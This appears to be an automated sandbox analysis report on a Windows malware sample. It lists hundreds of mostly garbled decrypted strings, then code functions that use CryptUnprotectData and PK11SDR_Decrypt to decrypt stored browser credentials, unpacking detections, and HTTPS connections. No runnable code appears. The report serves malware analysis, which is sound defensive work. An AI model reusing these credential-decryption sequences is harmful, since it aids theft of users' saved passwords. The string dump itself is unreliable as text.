Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: !"#$%&'()*+,-./0123456789:pqrstuvwxyko
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: !"#$%&'()*+,-./0123456789:pqrstuvwxyko
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: !""&&"".."+,-./01226622>>2pqrstuvwy{hk
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: &&::>>::&&*.Y[Y_Y[YGIKX[
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: 0123pewgq9+/
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: PyptG_k^y""
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: +-n 1,"U::ce
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: en$
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ,X
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: _\rY3MerJ0\Fml
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: 57"_XG
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ~~tuvwxyz\|}
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: 7)+)/)UVWXY
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: efghijklmnopqrs!"#$%&'()*+,-./0123456789:pqrstuvwxyko
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: !"#$%&'()*+,-./0123456789:pqrstuvwxyko
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: !"#$%&'()*+,-./0123456789:pqrstuvwxyko
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: !"#$%&'()*+,-./0123456789:pqrstuvwxyko
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: !"#$%&'()*+,-./0123456789:pqrstuvwxyko
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: &;(((((((88888888(((=?=;575``````````qN
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: SUWUS]_]SUFAopqrV'uv}HHH9+/
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: `z`
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ~tuvwxyz{\|}
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: \|}~@A=7131z{\|}@ABC
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: KLMNO66XYZ[\=?_`abc>>::66lmnop+)/]^_`aZ[\]^_`aZ[\]^_`aZ[\]^_`aZ[\]^_`aZ[\]^_`aZ[\]^_`aZ[\]^_`aZ[\]^_`aZ[\]^_`aZ[\]^_acRRVVRRnnOMKEGEAC#$%&'rrvvrrNN01234omkegerstuv-#%61
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: efghijklmnopqrs!"#$%&'()*+,-./0123456789:pqrstuvwxyko
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: !"#$%&'()*+,-./0123456789:pqrstuvwxyko
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: !"#$%&'()*+,-./0123456789:pqrstuvwxyko
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: !"#$%&'()*+,-./0123456789:pqrstuvwxyko
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ..66::>>::668888888(((cegecmomqs`c
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: WY[Y_Y[YWIZ]GIKIOARU
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor:
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: /(
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor:
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor:
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: /(
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: tuvwxyz{\|}~tuvz{\|}tuvwx
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: FGHIJK22WXYZ[\=?88bcdefg226622')+sZ[\]^_`aWXYZ[\]^_`aWXYZ[\]^_`aWXYZ[\]^_`aWXYZ[\]^_`aWXYZ[\]^_`aWXYZ[\]^_`aWXYZ[\]^_`aWY[SQWQSQoqFJJ@z~~zzFFqs+,-./0kioikiWYnb)qrstuv-#%61
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: hijklpqrsqrsqrsqrsqrsqrsqrsqrsqrsqrsqrsqrsqrsqrsqrsqrsqrsqrsttt\|\|\|ddd!"RVV&'()*Z^^./012BFF6789:stuvwo
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: !"#$%&'()*+,-./0123456789:pqrstuvwxyko
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: !"#$%&'()*+,-./0123456789:pqrstuvwxyko
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: !"#$%&'()*+,-./0123456789:pqrstuvwxyko
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: !"#$%&'()*+,-./0123456789:pqrstuvwxyko
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: .226622>>226 }}cegecmo\|w
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: WY[Y_Y[YWIZ]stuJ/
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: a}uQA0"NGv1V?
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: DIr
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: \|
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: &S7*
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: CL5JR
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: h
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: 7qy2
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: Gyq
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: Xik_uuZemd
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: :`\|"a#}
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: GetSystemInfo
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: t{icx
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: S-;DHs&:rkd
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: Dt%h
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: 8]S
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: kfT~IMdb
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: aYG92>{s=x2
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: i)}fwc@
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: "cTqrad\`f'
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ll
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: dll
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: rL5KV
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: q#>wt)uo"
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: wTOptM
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: -5C"&$,aw>
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: YFIOepX
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: n@(
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: p\kxve@Do+Hvd
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: yvTk\|9&
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ehc
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: }x
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: *X3H)%Th4034nZ
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: yx]
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: cl}w
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: [w{3l~sTn$
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: +omwKiI
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: M2
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: gyvstsfrf
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: jj
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: %E=
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: m~zeu
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ~ka
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: vpf
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: WR1 d7gw~N
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: +tcdw@
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: }s;k
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: `\|c63Oot0Wb
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: d7SQp
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: EM5AECUK
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ck((k#
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: H}
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: l`sVu431-9}"v&"8.
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: w
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: `:.."-
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: Jd>5LFq
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: Taub
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: xzj`{o
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: u~ljk(}n/8@X3!&
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: x
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: soB
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: n9xk
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: g>xd
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ToMultiByte
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor:
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: Hlsw~
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: }ws
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ze`b'N`vgf@'
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: z6pJa~
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: l0\|m
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: `\nde3Exs
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: t
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: moq
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: `}hunjv
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: rgftdpdkt
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: r\|Oy
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: at
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: wd
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: mK
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ZJ6'[/
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ux
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: {pmk
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: 5\
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: Ci\|*
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: GdipFree
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: lz{`x}zx
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: n2`
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: [fkoRar`f3
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: dPQ/
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: CoInitialize
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: a\|YPC3aSMP9
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: uc9llzj
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: oFba~r
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: l6
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: u@pk.uku
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: xv
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ::r@fi
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: adkS3TLg{H4S2
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: eDyatogHa
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: u`%f/as}e^wep
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: wlf7G
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: }@yju
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: .6_0h
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ]
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: vH55Gi
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: Bhukf_}p
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: idFU\|gQ
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: %uZ241"5%f`%
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: 6Lqm.EMx
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: }`j&zz
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: {yMzL\|!IZUc
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: $w.f
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: bSmD
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: i
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ud
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: z)#wm%W8Sr
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: 7NI29ox\|096
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: V<0f
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: &rux
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: 4Z0NV%C`5hiRM9
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: `w6
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: Qh~nDy}ts,x\
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ~pts}qq
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: cjc
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: Xihsc
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: +?Q-qoj
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: s-OB8X
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ZNYK}
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: IEF4IQ2P
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: kgq
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: XZL7Iz(igbny>woW67
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: aQNv
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: JabQb
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: cj)pU%n2{7ei*
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: wwwneyt
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: SNWZVj!9V14
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: gvn4q
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: vavbj\
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: N&L\5<US>0izPf
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: yVJW
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor:
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: t%)fn!n`out3R*cm~ajIqaGheljthgxWB^"C]@[W^O4?jc~ii/56rfy/!\ojme&
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: y"\
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: }Gpvs{Xq
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: h~
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: knv/=OFAg{**34Fnyz4%
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: o
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: Mis~m^X
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: UD&Ey
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: f5 _N-^{(a>$ahm~1r-*`~g]p 6uh-NLDJ-I`fsq36:E\"Qb\|e4gz&Rj61;)~xb n}6(v7kjl]\|cu2-.&
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: m
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ckcxdc{
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: madhiakwtdmxj`nu~s`liseqnmo\|
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: b}ffwspklw
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: `3-tfX+k
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ^9;A){>rm5@CL(`AC@ymdttiZEHttHV}:#3a}o~G`bg3,,,mgf9,$ap
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: Lw^v1OEG:`yqBvyVTBh+Z%n^Pu$hyakDa[+84l/zu7<`}O
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: tyzd0&F?6`vZxbfL4\|d
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ew
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: yn
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: !j
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: #t{xpe
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: {P~da
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: jQ,;=$V
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ejbf
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: mu~xL}{\|
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: gG$.-ynq
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: c
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor:
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: a}}wvxsu{isn\|p
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: %mo 5
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: sf}}zpycxpbxulyb`a
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: dAJE0g0PU3
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: t<!U6.H.L6KO!%XXeV40;~38_ :.@-M'J
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: }
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: wrdhk
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: i-
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: plugea
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: h`zeqwpdsc}q`b
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: c
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ;3,'
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: e$@@
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: @ssj
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: mnopqrs
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: efghijklmnopqrs
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: %s\%_
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: 7ens]
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: mnopqrs
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: 0123pewgq9+/A
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: KccontTekeny
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ,Xef].js..
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: }ord
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: 7)+)/)UVWXY
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: efghijklmnopqrs
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: `z`@J@@@J@@@
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: efghijklmnopqrs
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: tuvwxyz{\|}
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: GetSystemInfo
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: JAJI}p
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: `\|c63O
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: ToMultiByte
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: GdipFree
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: CoInitialize
Source: 19.2.cda9e1cbbc.exe.400000.0.raw.unpack	String decryptor: plugins

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	19_2_00409BB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	19_2_00418940
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	19_2_0040C660
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	19_2_00407280
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	19_2_00409B10
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CAC6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	19_2_6CAC6C80
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC1A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	19_2_6CC1A9A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC144C0 PK11_PubEncrypt,	19_2_6CC144C0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC14440 PK11_PrivDecrypt,	19_2_6CC14440
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBE4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	19_2_6CBE4420
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CC625B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	19_2_6CC625B0

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Unpacked PE file: 19.2.cda9e1cbbc.exe.400000.0.unpack
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Unpacked PE file: 20.2.e0dbbf79bf.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Unpacked PE file: 37.2.cda9e1cbbc.exe.400000.0.unpack
Source: C:\Users\user\1000003002\e0dbbf79bf.exe	Unpacked PE file: 43.2.e0dbbf79bf.exe.400000.0.unpack

Source: JGKjBsQrMc.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49748 version: TLS 1.2
